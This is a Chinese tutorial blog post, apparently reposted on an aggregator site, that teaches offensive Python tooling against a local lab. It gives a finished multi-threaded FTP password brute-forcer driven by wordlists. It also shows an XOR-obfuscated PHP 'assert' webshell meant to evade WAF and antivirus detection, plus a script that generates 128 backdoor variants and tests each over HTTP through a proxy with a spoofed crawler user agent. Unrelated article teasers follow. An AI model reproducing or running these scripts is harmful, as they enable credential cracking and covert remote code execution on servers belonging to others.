python开发poc2,爆破脚本

news2025/2/23 7:15:54

#本课知识点和目的:

---协议模块使用,Request 爬虫技术,简易多线程技术,编码技术,Bypass 后门技术

下载ftp服务器模拟器

https://lcba.lanzouy.com/iAMePxl378h

随便创建一个账户,然后登录进去把ip改成和物理机以太网适配器一样的ip

设置好之后关闭,在打开,服务就自动开启了,才可以爆破他

可以正常登录

爆破代码明明木有问题。但是还是报错,这是因为,没有抓取错误,登录爆破失败的时候就开始报错

 

调试了,还能输出正确密码

增加线程

def ftp_bao():
    while not q.empty():
        zidian = q.get()#
        zidian = zidian.split('|')#以|分割成列表
        username = zidian[0]
        passwd = zidian[1]
        ftp = ftplib.FTP()  # 调用ftp登录
        ftp.connect('192.168.109.1', 21)#确定ip和端口
    # 登录的ip和端口
        try:
            ftp.login(username,passwd)#登陆的账号和密码
            print(username+'|'+passwd+'yes')
        except Exception as a:
            pass

if __name__ == '__main__':
    q = queue.Queue()#创建一个队列对象
    for usern in open('user.txt'): #循环遍历用户名
        for passfile in open('passwd.txt'):#在每一个用户名都遍历一遍字典
            usern=usern.strip()#去除干扰符合
            passfile=passfile.strip()
            q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送

for x in range(10):#创建十个线程
    t = threading.Thread(target=ftp_bao())#去执行target=ftp_bao()函数
    t.start()

这就是以十个线程去执行

以命令行模式运行

最终代码

import ftplib
import threading
import queue
import sys
#简单的模拟爆破
#爆破药品修改,ip,端口。用户名,密码

# while not q.empty():
def ftp_bao(ip,port):
    while not q.empty():
        zidian = q.get()#
        zidian = zidian.split('|')#以|分割成列表
        username = zidian[0]
        passwd = zidian[1]
        ftp = ftplib.FTP()  # 调用ftp登录
        ftp.connect(ip, port)#确定ip和端口
    # 登录的ip和端口
        try:
            ftp.login(username,passwd)#登陆的账号和密码
            print(username+'|'+passwd+'yes')
        except Exception as a:
            pass

if __name__ == '__main__':
    ip = sys.argv[1]
    port = sys.argv[2]
    username = sys.argv[3]
    passwd = sys.argv[4]
    xc = sys.argv[5]

    q = queue.Queue()#创建一个队列对象
    for usern in open(username): #循环遍历用户名
        for passfile in open(passwd):#在每一个用户名都遍历一遍字典
            usern=usern.strip()#去除干扰符合
            passfile=passfile.strip()
            q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送

    for x in range(int(xc)):#创建十个线程
        t = threading.Thread(target=ftp_bao(ip,int(port)))  # 去执行target=ftp_bao()函数
        t.start()



# ftp_bao()

---掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合 Fuzz 吊打 WAF 等 

异或就是把一个字符转换成ascii码值的二进制在,然后和另外同样方式转换的二进制,每一位都对上的如果两个对上的数相同就输出0,不同就输出1,结果就是两个数异或后的值,在转换为ascii码值之后在找到对应的字符,就是异或完最后的结果,这里刚好有一个比较凑巧的结果

("!"^"@")=a     感叹号和艾特异或后等于a

下面这个感觉思路不对,也用不到,就摘抄的别人的

---在PHP study的sqllab的靶场下(注意:PHP的字符串以.连接):

---命令执行函数:eval不能拆分,assert函数可以拆分

---<?php $a=("!"^"@").'ssert';$a($_POST[x]);?>


---尝试连接


---使用安全狗和河马进行病毒查杀(不得不说狗子是真的垃圾):

#原理:

---!的ascii对应十进制33,二进制:00100001

---@对应十进制64,二进制:01000000


---两个二进制异或为:01100001,对应十进制为:97

---十进制对应的ASCII符合为:a

#开发思路

---通过异或运算,分别批量替换a,s,s,e,r,t,进而构造命令执行函数

---1.for循环0-127(ascii范围为[0.127])2.在循环内将ascii值通过chr转换为字符串进行异或2.判断异或后的值是否==a,如果等于则成功3.扩大范围,对assert的6个字符串一起进行异或(我这里添加了一个判断异或后是否等于97即a)

---code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'


---在test目录生成128个异或的后门文件


---用河马查杀试一下,这尼玛一个也没跑掉全被查出来了

---视频里面上传目录后请求感觉不现实


---如果按照视频里面的思路进行请求(原来post是这样传参的)


#完整代码

import requests

index=0
for i in range(0,128):
    for ii in range(0,128):
        if i^ii==97:
            index+=1
            code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'
            name=str(i)+'xd'+str(ii)+'.php'
            name='D:/test/'+name
            with open(name,'a+',encoding='utf-8') as f:
                f.write(code)
                f.close()
            print('生成了'+str(index)+"个文件")
            # 如果要进行请求的话
            header = {
                'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'}
            proxy = {'http': '101.200.127.149:3129'}
            data = {'x': 'phpinfo();'}
            try:
                url='http://127.0.0.1:8888/x/'+str(i)+'xd'+str(ii)+'.php'
                result=requests.post(url=url,data=data,headers=header,proxies=proxy,timeout=0.1).content.decode('utf-8')
                if 'System' in result:
                    print(name+'is ok')
            except Exception as e:
                pass 作者:沙漠里的鲸 https://www.bilibili.com/read/cv18093347/ 出处:bilibili

ping

an

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1576417.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

多轴机械臂/正逆解/轨迹规划/机器人运动学/Matlab/DH法 学习记录01——数学基础

系列文章目录 本科毕设正在做多轴机械臂相关的内容&#xff0c;这里是一个学习机械臂运动学课程的相关记录。 如有任何问题&#xff0c;可发邮件至layraliufoxmail.com问询。 1. 数学基础 文章目录 系列文章目录一、空间位置、姿态描述二、旋转矩阵&#xff08;Rotation matri…

阿里Qwen1.5-32B开源,评测超Mixtral MoE,挑战SOTA性价比

前言 阿里巴巴近日震撼开源其最新力作——Qwen1.5-32B大语言模型。在当前AI领域&#xff0c;大模型的开发与应用已成为评估技术进步的重要标尺。Qwen1.5-32B的问世&#xff0c;不仅再次证明了阿里在AI技术研发领域的深厚实力&#xff0c;更是在性能与成本之间找到了一个新的平…

Linux云计算之Linux基础3——Linux系统基础2

1、终端 终端(terminal)&#xff1a;人和系统交互的必要设备&#xff0c;人机交互最后一个界面&#xff08;包含独立的输入输出设备&#xff09; 物理终端(console)&#xff1a;直接接入本机器的键盘设备和显示器虚拟终端(tty)&#xff1a;通过软件方式虚拟实现的终端。它可以…

计算机网络-文件传输及IP协议——沐雨先生

实验内容 编写请求文件的客户Java应用程序编写响应文件请求的服务器Java应用程序利用Wireshark查看和分析IP包 基本要求 使用Java语言建立请求文件的客户应用程序使用Java语言建立响应文件请求的服务器应用程序了解IP协议的工作过程了解IP包首部各字段及含义 对Java应用程序…

java理论小作业(2)--类

第一题 1.题目&#xff1a; 2.解析&#xff1a; 首先&#xff0c;我们来分析Hello1类的结构和给定代码的执行流程&#xff1a; Hello1类中有两个成员变量&#xff0c;一个静态的a和一个非静态的b。静态变量a属于类本身&#xff0c;而非静态变量b属于类的每一个实例&#xff…

MySQL-5.函数

5.1 统计函数&#xff08;聚合函数&#xff09; # 统计数学成绩大于 90 的学生有多少个&#xff1f; SELECT COUNT(*) FROM student WHERE math > 90;# 求一个班级总分平均分 SELECT AVG(math english chinese) FROM student;# 统计一个班级数学总成绩 SELECT SUM(math) F…

Windows系统C盘空间优化进阶:磁盘清理与Docker日志管理

Windows系统C盘空间优化进阶&#xff1a;磁盘清理与Docker日志管理 文章目录 Windows系统C盘空间优化进阶&#xff1a;磁盘清理与Docker日志管理磁盘清理工具 使用“运行”命令访问磁盘清理利用存储感知自动管理空间清理WinSxS文件夹结合手动清理策略 小结删除临时文件总结&…

JWT在单点登录系统中的应用

JSON Web Token&#xff08;JWT&#xff09;是一个非常轻巧的规范。这个规范允许使用JWT在用户和服务器之间传递安全可靠的信息。 来假想一下一个场景。在A用户关注了B用户的时候&#xff0c;系统发邮件给B用户&#xff0c;并且附有一个链接“点此关注A用户”。链接的地址可以…

XML HTTP传输 小结

what’s XML XML 指可扩展标记语言&#xff08;eXtensible Markup Language&#xff09;。 XML 被设计用来传输和存储数据&#xff0c;不用于表现和展示数据&#xff0c;HTML 则用来表现数据。 XML 是独立于软件和硬件的信息传输工具。 应该掌握的基础知识 HTMLJavaScript…

Elastic:加速生成式人工智能体验

作者&#xff1a;Matt Riley 搜索驱动的人工智能和开发人员工具专为速度和规模而打造。 在大型语言模型&#xff08;LLM&#xff09;和生成式 AI 的每日突破中&#xff0c;开发者站在了这场运动的最前沿&#xff0c;影响着它的方向和可能性。在这篇博客中&#xff0c;我将分享…

【研发管理】产品经理知识体系-数字化战略

导读: 数字化战略对于企业的长期发展具有重要意义。实施数字化战略需要企业从多个方面进行数字化转型和优化&#xff0c;以提高效率和创新能力&#xff0c;并实现长期竞争力和增长。 目录 1、定义 2、数字化战略必要性 3、数字战略框架 4、数字化转型对产品和服务设计的影响…

chrome 浏览器 有自带的自动字幕功能,支持英文,控制您的音乐、视频等媒体内容

chrome 浏览器 有自带的自动字幕功能&#xff0c;支持英文&#xff0c;控制您的音乐、视频等媒体内容

蚁剑修改特征性信息

前言 我们首先得知道蚁剑的流量特征&#xff1a; 编码器和解码器的特征&#xff1a;蚁剑自带的编码器和解码器具有明显的特点&#xff0c;可以通过更改配置文件来达到流量加密的目的1。例如&#xff0c;蚁剑支持多种编码方式&#xff0c;如base64、chr、rot13等&#xff0c;这…

C++中的inline用法

1. 引入inline关键字的原因 在c/c中&#xff0c;为了解决一些频繁调用的小函数大量消耗栈空间&#xff08;栈内存&#xff09;的问题&#xff0c;特别的引入了inline修饰符&#xff0c;表示为内联函数。 栈空间就是指放置程序的局部数据&#xff08;也就是函数内数据&#xf…

初识Java中的NIO

1.概述 Java NIO 全称java non-blocking IO &#xff0c;是指 JDK 提供的新 API。从 JDK1.4 开始&#xff0c;Java 提供了一系列改进的输入/输出新特性&#xff0c;被统称为 NIO(即 New IO)&#xff0c;是同步非阻塞的。NIO采用内存映射文件的方式来处理输入输出&#xff0c;NI…

【C++进阶】哈希表(哈希函数、哈希冲突、开散列、闭散列)

&#x1fa90;&#x1fa90;&#x1fa90;欢迎来到程序员餐厅&#x1f4ab;&#x1f4ab;&#x1f4ab; 主厨&#xff1a;邪王真眼 主厨的主页&#xff1a;Chef‘s blog 所属专栏&#xff1a;c大冒险 总有光环在陨落&#xff0c;总有新星在闪烁 引言&#xff1a; 我们之前…

CSS 学习笔记 总结

CSS 布局方式 • 表格布局 • 元素定位 • 浮动布局&#xff08;注意浮动的负效应&#xff09; • flex布局 • grid布局&#xff08;感兴趣的可以看下菜鸟教程&#xff09; 居中设置 元素水平居中 • 设置宽度后&#xff0c;margin设置为auto • 父容器设置text-alig…

鸿蒙原生应用已超4000个!

鸿蒙原生应用已超4000个&#xff01; 来自 HarmonyOS 微博近期消息&#xff0c;#鸿蒙千帆起# 重大里程碑&#xff01;目前已有超4000个应用加入鸿蒙生态。从今年1月18日华为宣布首批200多家应用厂商正在加速开发鸿蒙原生应用&#xff0c;到3月底超4000个应用&#xff0c;短短…

【ARMv7-M】| 01——阅读笔记 | 简介|应用程序级编程和内存模型

系列文章目录 【ARMv7-M】| 01——阅读笔记 | 简介|应用程序级编程和内存模型 失败了也挺可爱&#xff0c;成功了就超帅。 文章目录 前言1、简介2、应用程序级编程模型2.1 编程模式和访问等级2.2 数据类型和运算操作2.3 寄存器和执行状态1.2.4 异常和中断1.2.5 浮点单元寄存器…

android 资源文件混淆

AGP7.0以上引用AndResGuard有坑 记录下 在项目的build.gradle中添加如下 buildscript {ext.kotlin_version "1.4.31"repositories {google()jcenter()maven {url "https://s01.oss.sonatype.org/content/repositories/snapshots/"}}dependencies {class…